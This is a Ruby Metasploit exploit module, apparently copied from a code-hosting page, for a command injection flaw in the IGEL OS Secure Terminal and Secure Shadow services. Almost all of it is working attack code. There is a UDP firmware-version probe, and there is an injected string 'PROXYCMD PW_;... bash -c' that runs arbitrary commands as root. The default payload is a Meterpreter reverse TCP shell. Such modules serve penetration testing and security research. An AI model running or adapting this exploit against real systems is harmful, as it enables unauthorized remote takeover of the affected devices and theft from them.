132 lines
4.2 KiB
Ruby
132 lines
4.2 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::Udp
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include Msf::Exploit::Remote::Tcp
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include Msf::Exploit::CmdStager
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prepend Msf::Exploit::Remote::AutoCheck
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def initialize(info = {})
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super(
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update_info(
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info,
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'Name' => 'IGEL OS Secure VNC/Terminal Command Injection RCE',
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'Description' => %q{
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This module exploits a command injection vulnerability in IGEL OS Secure Terminal
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and Secure Shadow services.
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Both Secure Terminal (telnet_ssl_connector - 30022/tcp) and Secure
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Shadow (vnc_ssl_connector - 5900/tcp) services are vulnerable.
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},
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'License' => MSF_LICENSE,
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'Author' => [
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'Rob Vinson', # Discovery
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'James Brytan', # Research and testing
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'James Smith', # Research and testing
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'Marisa Mack', # Research and testing
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'Sergey Pashevkin', # Research and testing
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'Steven Laura' # Research and testing
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],
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'References' => [
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[ 'URL', 'https://kb.igel.com/securitysafety/en/isn-2021-01-igel-os-remote-command-execution-vulnerability-41449239.html' ],
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[ 'URL', 'https://www.igel.com/wp-content/uploads/2021/02/lxos_11.04.270.txt' ]
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],
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'Platform' => ['linux'],
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'Arch' => [ARCH_X86, ARCH_X64],
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'Targets' => [
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[
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'Secure Terminal Service',
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{
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'Arch' => [ARCH_X86, ARCH_X64],
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'Type' => :cmd,
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'Platform' => 'linux',
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'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp', 'RPORT' => 30022 }
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}
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],
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[
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'Secure Shadow Service',
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{
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'Arch' => [ARCH_X86, ARCH_X64],
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'Type' => :cmd,
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'Platform' => 'linux',
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'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp', 'RPORT' => 5900 }
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}
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],
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],
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'Privileged' => true,
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'DisclosureDate' => '2021-02-25',
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'CmdStagerFlavor' => ['printf'],
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'DefaultTarget' => 0,
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'DefaultOptions' => {
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'PrependFork' => true
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},
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'Notes' => {
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'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK],
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'Reliability' => [REPEATABLE_SESSION],
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'Stability' => [CRASH_SAFE]
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}
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)
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)
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register_advanced_options(
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[
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# must enable SSL
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OptBool.new('SSL', [ true, 'Negotiate SSL/TLS for outgoing connections', true]),
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]
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)
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end
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def check
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probe = '<igel_scan></igel_scan>'
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connect_udp(true, 'RPORT' => 30005)
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udp_sock.put(probe)
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res = udp_sock.recvfrom(65535, 0.5)
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disconnect_udp
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unless res && res[0]
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return Exploit::CheckCode::Unknown
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end
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probe_response = res[0]
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matches = probe_response.match(/firmwareversion=<([0-9.]+)>/)
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unless matches
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return Exploit::CheckCode::Unknown
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end
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version = matches.captures[0]
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vprint_status("IGEL OS Version: #{version}")
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version = Rex::Version.new(version)
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if version < Rex::Version.new('10.06.220') && version >= Rex::Version.new('10.0.0')
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return Exploit::CheckCode::Appears
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elsif version < Rex::Version.new('11.04') && version >= Rex::Version.new('11.03.620')
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return Exploit::CheckCode::Safe
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elsif version < Rex::Version.new('11.04.270') && version >= Rex::Version.new('11.0.0')
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return Exploit::CheckCode::Appears
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end
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return Exploit::CheckCode::Safe
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end
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def execute_command(cmd, _opts = {})
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vprint_status("executing: #{cmd}")
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connect
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sock.put(%(PROXYCMD PW_;/usr/bin/systemd-run --scope bash -c "#{cmd}";false))
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ensure
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disconnect
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end
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def exploit
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execute_cmdstager(linemax: 150, noconcat: true, delay: 2)
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rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
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fail_with(Failure::Unreachable, "Failed executing payload with error #{e}.")
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end
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end
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